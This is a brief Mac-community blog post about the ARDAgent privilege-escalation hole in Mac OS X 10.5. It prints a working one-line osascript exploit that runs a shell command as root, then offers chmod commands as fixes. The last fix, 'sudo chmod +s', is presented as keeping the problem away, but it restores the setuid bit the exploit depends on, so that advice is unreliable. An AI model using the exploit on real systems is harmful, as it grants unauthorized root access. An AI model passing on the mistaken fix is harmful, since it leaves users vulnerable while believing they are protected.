A security hole has been recently discovered, relayed by all websites of the Mac community. This vulnerability with the ARDAgent program gives access to the root superuser with a simple Applescript command :
$ osascript -e ‘tell app “ARDAgent” to do shell script “whoami”‘
root
If it does not always work with MacOS X 10.5.3 (and previous versions), this security issue is not yet fixed and can appear with the last MacOS X 10.5.4 update.
You’ll find different ways to possibly close this ARDAgent security hole on macosxhints.com, like this command :
$ sudo chmod 755
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
If you use Apple Remote Desktop Admin, this command will avoid ARDAgent to launch.
Remote Desktop Admin will work thanks to this second command line and the issue doesn’t seem to appear anymore.
$ sudo chmod +s
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent


Latest Comments
RSS